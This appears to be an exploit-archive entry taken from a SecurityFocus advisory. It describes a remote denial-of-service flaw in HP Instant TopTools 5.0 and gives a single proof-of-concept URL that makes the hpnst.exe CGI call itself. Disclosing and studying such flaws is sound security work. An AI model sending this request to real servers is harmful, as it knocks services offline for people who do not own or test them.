HP Instant TopTools 5.0 - Remote Denial of Service

                source: http://www.securityfocus.com/bid/7246/info

It has been reported that Instant TopTools does not properly handle some types of requests. Because of this, a remote user could potentially deny service to a host using the vulnerable software. 

http://www.example.com/cgi-bin/hpnst.exe?c=p+i=hpnst.exe